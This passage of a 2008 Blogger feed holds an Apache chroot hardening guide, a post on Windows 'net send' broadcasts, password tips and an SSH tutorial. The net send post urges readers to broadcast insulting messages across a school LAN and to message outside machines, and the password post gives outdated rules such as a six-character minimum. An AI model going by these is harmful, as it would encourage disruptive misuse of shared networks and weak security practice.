vulnerabilities in Apache are found, we will probably recompile not just the vulnerable modules, but the whole software. By choosing the static method, we eliminate the need of one more module - mod_so.&lt;br /&gt;&lt;br /&gt;Compiling the software&lt;br /&gt;&lt;br /&gt;First of all - if exist - any security patches must be applied. Then, the server should be compiled and installed as follows:&lt;br /&gt;&lt;br /&gt;./configure --prefix=/usr/local/apache --disable-module=all --server-&lt;br /&gt;uid=apache --server-gid=apache --enable-module=access --enable-&lt;br /&gt;module=log_config --enable-module=dir --enable-module=mime --enable-&lt;br /&gt;module=auth&lt;br /&gt;&lt;br /&gt;make&lt;br /&gt;su&lt;br /&gt;umask 022&lt;br /&gt;make install&lt;br /&gt;chown -R root:sys /usr/local/apache&lt;br /&gt;&lt;br /&gt;Chrooting the server&lt;br /&gt;&lt;br /&gt;The next step is to limit Apache processes' access to the filesystems. We can achieve that by chrooting it's main daemon (httpd). Generally, the chrooting technique means creating a new root directory structure, moving all daemon files to it, and running the proper daemon in that new environment. Thanks to that, the daemon (and all child processes) will have access only to the new directory structure.&lt;br /&gt;&lt;br /&gt;We'll start this process by creating a new root directory structure under the /chroot/httpd directory:&lt;br /&gt;&lt;br /&gt;mkdir -p /chroot/httpd/dev&lt;br /&gt;mkdir -p /chroot/httpd/etc&lt;br /&gt;mkdir -p /chroot/httpd/var/run&lt;br /&gt;mkdir -p /chroot/httpd/usr/lib&lt;br /&gt;mkdir -p /chroot/httpd/usr/libexec&lt;br /&gt;mkdir -p /chroot/httpd/usr/local/apache/bin&lt;br /&gt;mkdir -p /chroot/httpd/usr/local/apache/logs&lt;br /&gt;mkdir -p /chroot/httpd/usr/local/apache/conf&lt;br /&gt;mkdir -p /chroot/httpd/www&lt;br /&gt;&lt;br /&gt;The owner of all above directories must be root, and the access rights should be set to the 0755. Next, we'll create the special device file: /dev/null:&lt;br /&gt;&lt;br /&gt;ls -al /dev/null&lt;br /&gt; crw-rw-rw-   1  root wheel   2,  2 Mar 14 12:53 /dev/null&lt;br /&gt;mknod /chroot/httpd/dev/null c 2 2&lt;br /&gt;chown root:sys /chroot/httpd/dev/null&lt;br /&gt;chmod 666 /chroot/httpd/dev/null&lt;br /&gt;&lt;br /&gt;A different method must be used to create a /chroot/httpd/dev/log device, which is also needed for the server to work properly. In case of the FreeBSD system, the following line should be added to the /etc/rc.conf:&lt;br /&gt;&lt;br /&gt;syslogd_flags="-l /chroot/httpd/dev/log"&lt;br /&gt;&lt;br /&gt;We must restart the system or the syslogd daemon itself for the changes to take effect. In order to create a /chroot/httpd/dev/log device on other operating systems, we must take a look at the proper manuals (man syslogd).&lt;br /&gt;&lt;br /&gt;The next step is to copy the main httpd program into the new directory tree with all necessary binaries and libraries. In order to do that, we must prepare the list of all required files. We can make such list by using the following commands (their presence depends on particular operating system):&lt;br /&gt;Command  Availability  Descript ion&lt;br /&gt;ldd  All  Lists dynamiic dependencies of executable files or shared libraries&lt;br /&gt;ktrace/ktruss/kdump  *BSD  Enables kernal process tracing, Displays kernal trace data&lt;br /&gt;Sotruss  Solaris  Traces shared library procedure calls&lt;br /&gt;strace/ltrace  Linux  Traces system calls and signals&lt;br /&gt;Strings  All  Finds the printable strings in binary files&lt;br /&gt;Trace  AIX  Records selected system events&lt;br /&gt;trace (freeware)  HP-UX ß10.20  Print system call and kernal traces of processes&lt;br /&gt;Truss  FreeBSD, Solaris, AIX 5L, SCO Unixware  Traces system calls and signals&lt;br /&gt;tusc (freeware)  HP-UX&gt;11  Traces the system calls a process invokes in HP-UX 11&lt;br /&gt;&lt;br /&gt;Examples of using ldd, strings and truss commands are shown below:&lt;br /&gt;&lt;br /&gt;localhost# ldd /usr/local/apache/bin/httpd&lt;br /&gt;/usr/local/apache/bin/httpd:&lt;br /&gt;       libcrypt.so.2 =&gt; /usr/lib/libcrypt.so.2 (0x280bd000)&lt;br /&gt;       libc.so.4 =&gt; /usr/lib/libc.so.4 (0x280d6000)&lt;br /&gt;&lt;br /&gt;localhost# strings /usr/local/apache/bin/httpd | grep lib&lt;br /&gt;/usr/libexec/ld-elf.so.1&lt;br /&gt;libcrypt.so.2&lt;br /&gt;libc.so.4&lt;br /&gt;&lt;br /&gt;localhost# truss /usr/local/apache/bin/httpd | grep open&lt;br /&gt;(...)&lt;br /&gt;open("/var/run/ld-elf.so.hints",0,00)            = 3 (0x3)&lt;br /&gt;open("/usr/lib/libcrypt.so.2",0,027757775370)    = 3 (0x3)&lt;br /&gt;open("/usr/lib/libc.so.4",0,027757775370)        = 3 (0x3)&lt;br /&gt;open("/etc/spwd.db",0,00)                        = 3 (0x3)&lt;br /&gt;open("/etc/group",0,0666)                        = 3 (0x3)&lt;br /&gt;open("/usr/local/apache/conf/httpd.conf",0,0666) = 3 (0x3)&lt;br /&gt;(...)&lt;br /&gt;&lt;br /&gt;The above commands should be applied not only to the httpd program, but also to all of the libraries and binaries required (libraries often require other libraries). In case of FreeBSD system, the following files have to be copied to the new root directory structure:&lt;br /&gt;&lt;br /&gt;cp /usr/local/apache/bin/httpd /chroot/httpd/usr/local/apache/bin/&lt;br /&gt;cp /var/run/ld-elf.so.hints /chroot/httpd/var/run/&lt;br /&gt;cp /usr/lib/libcrypt.so.2 /chroot/httpd/usr/lib/&lt;br /&gt;cp /usr/lib/libc.so.4 /chroot/httpd/usr/lib/&lt;br /&gt;cp /usr/libexec/ld-elf.so.1 /chroot/httpd/usr/libexec/&lt;br /&gt;&lt;br /&gt;By using the truss command we can also discover that the following configuration files must be present in the chrooted environment as well:&lt;br /&gt;&lt;br /&gt;cp /etc/hosts /chroot/httpd/etc/&lt;br /&gt;cp /etc/host.conf /chroot/httpd/etc/&lt;br /&gt;cp /etc/resolv.conf /chroot/httpd/etc/&lt;br /&gt;cp /etc/group /chroot/httpd/etc/&lt;br /&gt;cp /etc/master.passwd /chroot/httpd/etc/passwords&lt;br /&gt;cp /usr/local/apache/conf/mime.types /chroot/httpd/usr/local/apache/conf/&lt;br /&gt;&lt;br /&gt;Note, that from /chroot/httpd/etc/passwords we have to remove all the lines except "nobody" and "apache". In a similar way, we must remove all the lines except "apache" and "nogroup" from /chroot/httpd/etc/group. Next, we have to build the password database as follows:&lt;br /&gt;&lt;br /&gt;cd /chroot/httpd/etc&lt;br /&gt;pwd_mkdb -d /chroot/httpd/etc passwords&lt;br /&gt;rm -rf /chroot/httpd/etc/master.passwd&lt;br /&gt;&lt;br /&gt;The next step is to test if the httpd server runs correctly in the new chrooted environment. In order to perform that, we have to copy the default Apache configuration file and sample index.html:&lt;br /&gt;&lt;br /&gt;cp /usr/local/apache/conf/httpd.conf /chroot/httpd/usr/local/apache/co&lt;br /&gt;nf/&lt;br /&gt;cp /usr/local/apache/htdocs/index.html.en /chroot/httpd/www/index.html&lt;br /&gt;&lt;br /&gt;After copying the aforementioned files, we must change the DocumentRoot directive as presented below (in /chroot/httpd/usr/local/apache/conf/httpd.conf):&lt;br /&gt;&lt;br /&gt;DocumentRoot "/www"&lt;br /&gt;&lt;br /&gt;Next, we can try to run the server:&lt;br /&gt;&lt;br /&gt;chroot /chroot/httpd /usr/local/apache/bin/httpd&lt;br /&gt;&lt;br /&gt;If any problems occur, I recommend analyzing Apache's log files precisely (/chroot/httpd/usr/local/apache/logs). Alternatively, the following command can be used:&lt;br /&gt;&lt;br /&gt;truss chroot /chroot/httpd /usr/local/apache/bin/httpd&lt;br /&gt;&lt;br /&gt;The truss program should show the cause of the problems. After eliminating any eventual faults, we can configure the Apache server.&lt;br /&gt;&lt;br /&gt;Configuring Apache&lt;br /&gt;&lt;br /&gt;The first step is to remove the /chroot/httpd/usr/local/apache/conf/httpd.conf file and create a new one in its place, with content similar to the following:&lt;br /&gt;&lt;br /&gt;# =================================================&lt;br /&gt;# Basic settings&lt;br /&gt;# =================================================&lt;br /&gt;ServerType standalone&lt;br /&gt;ServerRoot "/usr/local/apache"&lt;br /&gt;PidFile /usr/local/apache/logs/httpd.pid&lt;br /&gt;ScoreBoardFile /usr/local/apache/logs/httpd.scoreboard&lt;br /&gt;ResourceConfig /dev/null&lt;br /&gt;AccessConfig /dev/null&lt;br /&gt;&lt;br /&gt;# =================================================&lt;br /&gt;# Performance settings&lt;br /&gt;# =================================================&lt;br /&gt;Timeout 300&lt;br /&gt;KeepAlive On&lt;br /&gt;MaxKeepAliveRequests 100&lt;br /&gt;KeepAliveTimeout 15&lt;br /&gt;MinSpareServers 5&lt;br /&gt;MaxSpareServers 10&lt;br /&gt;StartServers 5&lt;br /&gt;MaxClients 150&lt;br /&gt;MaxRequestsPerChild 0&lt;br /&gt;&lt;br /&gt;# =================================================&lt;br /&gt;# Apache's modules&lt;br /&gt;# =================================================&lt;br /&gt;ClearModuleList&lt;br /&gt;AddModule mod_log_config.c&lt;br /&gt;AddModule mod_mime.c&lt;br /&gt;AddModule mod_dir.c&lt;br /&gt;AddModule mod_access.c&lt;br /&gt;AddModule mod_auth.c&lt;br /&gt;&lt;br /&gt;# =================================================&lt;br /&gt;# General settings&lt;br /&gt;# =================================================&lt;br /&gt;Port 80&lt;br /&gt;User apache&lt;br /&gt;Group apache&lt;br /&gt;ServerAdmin Webmaster@www.ebank.lab&lt;br /&gt;UseCanonicalName Off&lt;br /&gt;ServerSignature Off&lt;br /&gt;HostnameLookups Off&lt;br /&gt;ServerTokens Prod&lt;br /&gt;&lt;ifmodule c=""&gt;&lt;br /&gt;   DirectoryIndex index.html&lt;br /&gt;&lt;/ifmodule&gt;&lt;br /&gt;DocumentRoot "/www/vhosts"&lt;br /&gt;&lt;br /&gt;# =================================================&lt;br /&gt;# Access control&lt;br /&gt;# =================================================&lt;br /&gt;&lt;directory&gt;&lt;br /&gt;   Options None&lt;br /&gt;   AllowOverride None&lt;br /&gt;   Order deny,allow&lt;br /&gt;   Deny from all&lt;br /&gt;&lt;/directory&gt;&lt;br /&gt;&lt;directory www="" vhosts="" lab=""&gt;&lt;br /&gt;   Order allow,deny&lt;br /&gt;   Allow from all&lt;br /&gt;&lt;/directory&gt;&lt;br /&gt;&lt;directory www="" vhosts="" lab=""&gt;&lt;br /&gt;   Order allow,deny&lt;br /&gt;   Allow from all&lt;br /&gt;&lt;/directory&gt;&lt;br /&gt;&lt;br /&gt;# =================================================&lt;br /&gt;# MIME encoding&lt;br /&gt;# =================================================&lt;br /&gt;&lt;ifmodule c=""&gt;&lt;br /&gt;   TypesConfig /usr/local/apache/conf/mime.types&lt;br /&gt;&lt;/ifmodule&gt;&lt;br /&gt;DefaultType text/plain&lt;br /&gt;&lt;ifmodule c=""&gt;&lt;br /&gt;   AddEncoding x-compress Z&lt;br /&gt;   AddEncoding x-gzip gz tgz&lt;br /&gt;   AddType application/x-tar .tgz&lt;br /&gt;&lt;/ifmodule&gt;&lt;br /&gt;&lt;br /&gt;# =================================================&lt;br /&gt;# Logs&lt;br /&gt;# =================================================&lt;br /&gt;LogLevel warn&lt;br /&gt;LogFormat "%h %l %u %t \"%r\" %&gt;s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined&lt;br /&gt;LogFormat "%h %l %u %t \"%r\" %&gt;s %b" common&lt;br /&gt;LogFormat "%{Referer}i -&gt; %U" referer&lt;br /&gt;LogFormat "%{User-agent}i" agent&lt;br /&gt;ErrorLog /usr/local/apache/logs/error_log&lt;br /&gt;CustomLog /usr/local/apache/logs/access_log combined&lt;br /&gt;&lt;br /&gt;# =================================================&lt;br /&gt;# Virtual hosts&lt;br /&gt;# =================================================&lt;br /&gt;NameVirtualHost *&lt;br /&gt;&lt;virtualhost&gt;&lt;br /&gt; DocumentRoot "/www/vhosts/www.ebank.lab"&lt;br /&gt; ServerName "www.ebank.lab"&lt;br /&gt; ServerAlias "www.e-bank.lab"&lt;br /&gt; ErrorLog logs/www.ebank.lab/error_log&lt;br /&gt; CustomLog logs/www.ebank.lab/access_log combined&lt;br /&gt;&lt;/virtualhost&gt;&lt;br /&gt;&lt;virtualhost&gt;&lt;br /&gt; DocumentRoot "/www/vhosts/www.test.lab"&lt;br /&gt; ServerName "www.test.lab"&lt;br /&gt; ErrorLog logs/www.test.lab/error_log&lt;br /&gt; CustomLog logs/www.test.lab/access_log combined&lt;br /&gt;&lt;/virtualhost&gt;&lt;br /&gt;&lt;br /&gt;The above configuration includes only the commands that are necessary to fulfill the functionality and security assumptions. In the configuration presented, there are two virtual hosts supported by the Web server:&lt;br /&gt;&lt;br /&gt;- www.ebank.lab (www.e-bank.lab)&lt;br /&gt;- www.test.lab&lt;br /&gt;&lt;br /&gt;The content of the above Web sites is physically present in the following directories:&lt;br /&gt;&lt;br /&gt;- /chroot/httpd/www/vhosts/www.ebank.lab&lt;br /&gt;- /chroot/httpd/www/vhosts/www.test.lab&lt;br /&gt;&lt;br /&gt;Each Web site has its own log files, which are present in the following directories:&lt;br /&gt;&lt;br /&gt;- /chroot/httpd/usr/local/apache/logs/www.ebank.lab&lt;br /&gt;- /chroot/httpd/usr/local/apache/logs/www.test.lab&lt;br /&gt;&lt;br /&gt;The above directories must be created before running the Apache for the first time - otherwise the Apache will not run correctly. The owner of the above directories should be root:sys, and the rights should be set to 0755.&lt;br /&gt;&lt;br /&gt;Compared with the default Apache configuration file, the following changes have been made:&lt;br /&gt;&lt;br /&gt;   * the number of enabled modules has been significantly reduced&lt;br /&gt;   * Apache doesn't disclose information about its version number (directives: ServerTokens, ServerSignature)&lt;br /&gt;   * Apache's processes (except the root process) are set to be executed with unique regular user's/group's privileges (directives: User, Group)&lt;br /&gt;   * Apache will allow access only to the directories, subdirectories and files, which are explicitly specified in the configuration file (directives: Directory, Allow); all other requests will be denied by default&lt;br /&gt;   * Apache will log more information about HTTP requests&lt;br /&gt;&lt;br /&gt;Final steps&lt;br /&gt;&lt;br /&gt;At the end we should create a start-up script "apache.sh", the content of which will be similar to the following:&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;CHROOT=/chroot/httpd/&lt;br /&gt;HTTPD=/usr/local/apache/bin/httpd&lt;br /&gt;PIDFILE=/usr/local/apache/logs/httpd.pid&lt;br /&gt;&lt;br /&gt;echo -n " apache"&lt;br /&gt;&lt;br /&gt;case "$1" in&lt;br /&gt;start)&lt;br /&gt; /usr/sbin/chroot $CHROOT $HTTPD&lt;br /&gt; ;;&lt;br /&gt;stop)&lt;br /&gt; kill `cat ${CHROOT}/${PIDFILE}`&lt;br /&gt; ;;&lt;br /&gt;*)&lt;br /&gt; echo ""&lt;br /&gt; echo "Usage: `basename $0` {start|stop}" &gt;&amp;amp;2&lt;br /&gt; exit 64&lt;br /&gt; ;;&lt;br /&gt;esac&lt;br /&gt;&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;The above script should be copied to the proper directory (depends on particular UNIX system), where by default startup scripts are held. In case of FreeBSD it is the /usr/local/etc/rc.d directory.&lt;br /&gt;&lt;br /&gt;Summary&lt;br /&gt;&lt;br /&gt;The above method allows achieving a higher security level of the Apache server than the one, offered in the default installation.&lt;br /&gt;&lt;br /&gt;Thanks to enabling only the absolutely necessary Apache modules, finding a new vulnerability in one of them doesn't have to indicate that our server is vulnerable. Hiding the Apache's version number, turning off the directory indexing service, chrooting and restricted configuration make a successful break-in very difficult. A chrooted environment has also one more important advantage - immunity to the large number of exploits, mainly because of lack of the shell (/bin/sh, /bin/csh etc.). Even if an intruder will success in executing system commands, escaping the chrooted environment could turn out to be quite a problem.&lt;br /&gt;&lt;br /&gt;Artur Maj works as a security consultant for European Network Security Institute. He is co-author of Solaris Administrator's Security Guide, a step-by-step guide to secure SUN Solaris operating system against intruders. He regularly performs security audits for Internet banks, government institutions and various firms and organizations in Poland.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-5140853284096676068?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/5140853284096676068/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/securing-apache-step-by-step.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/5140853284096676068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/5140853284096676068'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/securing-apache-step-by-step.html' title='Securing Apache: Step-by-Step'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-2892308646375058589</id><published>2008-12-20T03:56:00.001+07:00</published><updated>2008-12-20T03:58:38.760+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>SENDING BROADCAST MESSAGES</title><content type='html'>there is a whole class B range of IP addresses reserved for private (LAN) use&lt;br /&gt;which is 192.168.x.x so u can theoretically have up to 65536 comps in a LAN, but&lt;br /&gt;of course some IPs are reserved, such as 192.168.x.0, and 192.168.x.254 is&lt;br /&gt;usually for gateways or who knows what else, and 192.168.x.255 to broadcast to&lt;br /&gt;the whole network.&lt;div class="fullpost"&gt;&lt;br /&gt;the US Robotics router i have happens to use a fixed 3rd byte&lt;br /&gt;of "123" so my lan can only have 256 (minus the reserved IPs) computers on it.&lt;br /&gt;my 2 comps are 192.168.123.1 and 192.168.123.2, and in a DOS prompt i can type&lt;br /&gt;net send 192.168.123.2 "hello world" (or use any aliases such as Localhost or my&lt;br /&gt;"computer name" in place of the IP of course) from any comp on my lan and it&lt;br /&gt;will pop up a box on my specific computer as long as i have a prog running that&lt;br /&gt;handles "net send" messages. i'm not sure about all the windows OSes but i know&lt;br /&gt;that in win98 the program is called winpopup.exe (if u dont have it u need to go&lt;br /&gt;into Add/Remove Programs in the control panel, go to the Windows Setup tab, and&lt;br /&gt;select WinPopup from Accessories or something) and in winXP they are handled by&lt;br /&gt;Windows Messenger (which is installed and runs as a service by default in&lt;br /&gt;winXP--so people that dont know anything and don't have firewalls, etc can&lt;br /&gt;recieve the popups if they haven't configured Messenger on their pc yet! i used&lt;br /&gt;to get a few spam messages a day when i had my firewall off).&lt;br /&gt;&lt;br /&gt;ok, so now we know how to send the messages and what progs recieve them....but remember i said that the fourth byte of 255 in an IP address broadcasts to the whole network (or the&lt;br /&gt;whole class C that you specify in the 3rd byte)? there u go! try it in&lt;br /&gt;school...get a DOS shell up and type in net send 192.168.x.255 "screw you all"&lt;br /&gt;or something...don't forget the quotes around the text. if u forget the syntax&lt;br /&gt;just type net send help or net send ? and it will tell you.&lt;br /&gt;&lt;br /&gt;To find out what to put for the 3rd byte of the IP u could probably type ipconfig in DOS or winipcfg in windows and look at the 3rd byte of your own IP Address and of the Default&lt;br /&gt;Gateway. if they are different, i would suppose that the Gateway would be the&lt;br /&gt;address for true "broadcasting" i.e. the whole LAN but i don't really know.&lt;br /&gt;oh yeah, by the way, u can send messages to external computers and stuff too,&lt;br /&gt;you're not restricted to sending within your LAN. just use an IP address or&lt;br /&gt;hostname or whatever.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-2892308646375058589?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/2892308646375058589/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/sending-broadcast-messages.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2892308646375058589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2892308646375058589'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/sending-broadcast-messages.html' title='SENDING BROADCAST MESSAGES'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-5903477812245355941</id><published>2008-12-20T03:55:00.001+07:00</published><updated>2008-12-20T03:55:54.483+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>Creating And Maintaining Strong Passwords</title><content type='html'>Passwords are essential for the security of your computer, private data, &lt;br /&gt;and everything else that you define as a sensitive information that needs&lt;br /&gt;to be protected against those who are not authorized to view and modify it.&lt;br /&gt;The purpose of this article is to briefly explore various strategies, &lt;br /&gt;as well as provide you with recommendations in a process of creating &lt;br /&gt;and maintaining strong passwords. &lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;1 - Your password must be at least 6 characters long, possesing a &lt;br /&gt;combination of small, capital letters, numbers and characters like&lt;br /&gt;(!@#$%^&amp;*(), which will result in one pretty strong and &lt;br /&gt;hard to crack password. &lt;br /&gt;&lt;br /&gt;2 - Do not use dictionary words, or an obvious sequence of keyboard&lt;br /&gt;characters as aaa123bbb, 12345678 etc &lt;br /&gt;&lt;br /&gt;3 - Changing your password as often as possible on a monthly &lt;br /&gt;basis would be great. &lt;br /&gt;&lt;br /&gt;4 - Do not share your password and ID with anyone, pretending&lt;br /&gt;to be a Customer Support staff members etc. Don't get fooled and&lt;br /&gt;remember that no one can force you into telling your ID and password. &lt;br /&gt;&lt;br /&gt;5 - Do not use the same password on the other computer, &lt;br /&gt;service etc as once revealed it would definitely compromise&lt;br /&gt;the Security of all other systems and services. &lt;br /&gt;&lt;br /&gt;6 - Do not write your passwords on any papers, notes etc do your&lt;br /&gt;best and memorize them, no matter how secret the place you've &lt;br /&gt;hidden the note is, this is highly insecure way of storing accounting data. &lt;br /&gt;&lt;br /&gt;7 - Before entering your ID and password make sure nobody is &lt;br /&gt;watching you. Instead of using the feature "Save password" &lt;br /&gt;within any service or program, consider writing it each time, &lt;br /&gt;as you're significally reducing the risk of someone stealing &lt;br /&gt;your passwords from the computer's cache memory. &lt;br /&gt;&lt;br /&gt;8 - Before entering your ID and password, make sure the computer is&lt;br /&gt;well secured: perform trojans and keyloggers clean using popular&lt;br /&gt;software programs. When leaving the computer, or the service you're&lt;br /&gt;using, make sure you Logout, thus protecting the sensitive &lt;br /&gt;data from malicious user, snooping around. &lt;br /&gt;&lt;br /&gt;Remember that passwords are the first line of Security within any system.&lt;br /&gt;Make sure they're strong created,and secure maintained. &lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-5903477812245355941?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/5903477812245355941/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/creating-and-maintaining-strong.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/5903477812245355941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/5903477812245355941'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/creating-and-maintaining-strong.html' title='Creating And Maintaining Strong Passwords'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-1399105473775048455</id><published>2008-12-20T03:54:00.000+07:00</published><updated>2008-12-20T03:55:08.614+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>SSH Tutorial</title><content type='html'>SSH (Secure Shell) protocol is the encrypted way to access a remote server&lt;br /&gt;from your workstation using the console.Once you're connected and logged on&lt;br /&gt;the remote machine, you can do stuff( what you are allowed to do) there,&lt;br /&gt;directly from your computer. By using SSH, you encrypt the traffic and&lt;br /&gt;compress it, so it can be more faster, also you can run ftp, pop, and even&lt;br /&gt;ppp via it so your data(username, password for e.g.) will pass along the&lt;br /&gt;internet encrypted. &lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;The traditional network services like ftp, pop or telnet are convenient but&lt;br /&gt;inherently unsafe, since they all make you send a password and data in clear&lt;br /&gt;text over an increasingly unsafe network. The original SSH has been&lt;br /&gt;developed by a Finnish company. Due to copyright restraints and patented&lt;br /&gt;algorithms, the Free Software world now uses OpenSSH, a free SSH work-alike.&lt;br /&gt;&lt;br /&gt;In order for ssh to work properly, the remote machine must be running an&lt;br /&gt;sshd daemon, or an equivalent. The SSH server runs on a UNIX machine (it is&lt;br /&gt;theoretically possible to put an SSH server on an NT server, but it has not&lt;br /&gt;been done to my knowledge). SSH comes in two major, partly incompatible&lt;br /&gt;versions, 1.x and 2.x. You won't be able to connect to an SSH 1.x server&lt;br /&gt;with an SSH 2.x client. OpenSSH 2.x supports both versions.If you are&lt;br /&gt;running a unix system (linux for example), you can do SSH from your console&lt;br /&gt;, otherwise, if you are running windows you'll have to get an SSH client,&lt;br /&gt;Putty is very good for it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First you have to find out about public key cryptography. Public key&lt;br /&gt;cryptography uses a public key to encrypt data and a private key to decrypt&lt;br /&gt;it. The name public key comes from the fact that you can make the encryption&lt;br /&gt;key public without compromising the secrecy of the data or the decryption&lt;br /&gt;key. What this means is that it is safe to send your public key (i.e. the&lt;br /&gt;contents of the ~/.ssh/identity.pub file) in electronic mail or by other&lt;br /&gt;means e.g. to have a system administrator of a remote site install that key&lt;br /&gt;into your ~/.ssh/authorized_keys file. For anyone to actually gain access&lt;br /&gt;they need the corresponding private key (i.e. the decrypted contents of&lt;br /&gt;~/.ssh/identity) to identify themselves.SSH saves it's settings and your&lt;br /&gt;encryption keys in the ~/.ssh subdirectory (a subdirectory in your home&lt;br /&gt;directory).&lt;br /&gt;&lt;br /&gt;If you've never used the machine you're on to ssh before, or if you have not&lt;br /&gt;deemed your machine "trusted", you will recieve the following message:&lt;br /&gt;&lt;br /&gt;userid&gt; ssh beatbox&lt;br /&gt;Host key not found from the list of known hosts.&lt;br /&gt;Are you sure you want to continue connecting (yes/no)? yes&lt;br /&gt;Host 'beatbox' added to the list of known hosts.&lt;br /&gt;userid@beatbox's password:&lt;br /&gt;&lt;br /&gt;If you want to login with a different username then your local username you&lt;br /&gt;will type something like this:&lt;br /&gt;&lt;br /&gt;userid&gt; ssh username@hostname&lt;br /&gt;&lt;br /&gt;To further protect your private key you should enter a passphrase to encrypt&lt;br /&gt;the key when it is stored in the filesystem. This will prevent people from&lt;br /&gt;using it even if they gain access to your files.&lt;br /&gt;&lt;br /&gt;The very first step is to use ssh-keygen to create an authentication key for&lt;br /&gt;yourself. In most cases the defaults for this command are what you&lt;br /&gt;want.Always, type in a good pass-phrase when prompted for one. It can be&lt;br /&gt;multiple words (i.e. spaces are just fine within the phrase), so you could&lt;br /&gt;choose a sentence that you can remember. Changing some of the words by&lt;br /&gt;misspelling them or by changing some of the letters into digits is highly&lt;br /&gt;recommended to increase the strength of your pass phrase.&lt;br /&gt;&lt;br /&gt;Here is a sample session, your input is in bold. Note that the pass-phrase&lt;br /&gt;is not echoed back as you type it:&lt;br /&gt;&lt;br /&gt;beowulf% ssh-keygen&lt;br /&gt;Initializing random number generator...&lt;br /&gt;Generating p: .++ (distance 6)&lt;br /&gt;Generating q: ........++ (distance 110)&lt;br /&gt;Computing the keys...&lt;br /&gt;Testing the keys...&lt;br /&gt;Key generation complete.&lt;br /&gt;Enter file in which to save the key ($HOME/.ssh/identity): [RETURN]&lt;br /&gt;Enter passphrase (empty for no passphrase): litt1e 1amp jumb3d&lt;br /&gt;Enter same passphrase again: litt1e 1amp jumb3d&lt;br /&gt;Your identification has been saved in /u/kim/.ssh/identity.&lt;br /&gt;Your public key is:&lt;br /&gt;1024 37 [lots of numbers] kim@beowulf.gw.com&lt;br /&gt;Your public key has been saved in /u/kim/.ssh/identity.pub&lt;br /&gt;&lt;br /&gt;Now that you are connected, you can safely work on the remote machine thus&lt;br /&gt;no one can see what you are actually doing even if they sniff the traffic,&lt;br /&gt;all the comunication is high encrypted and secure.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-1399105473775048455?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/1399105473775048455/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/ssh-tutorial.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1399105473775048455'/><link rel='self' type='application/atom+xml' 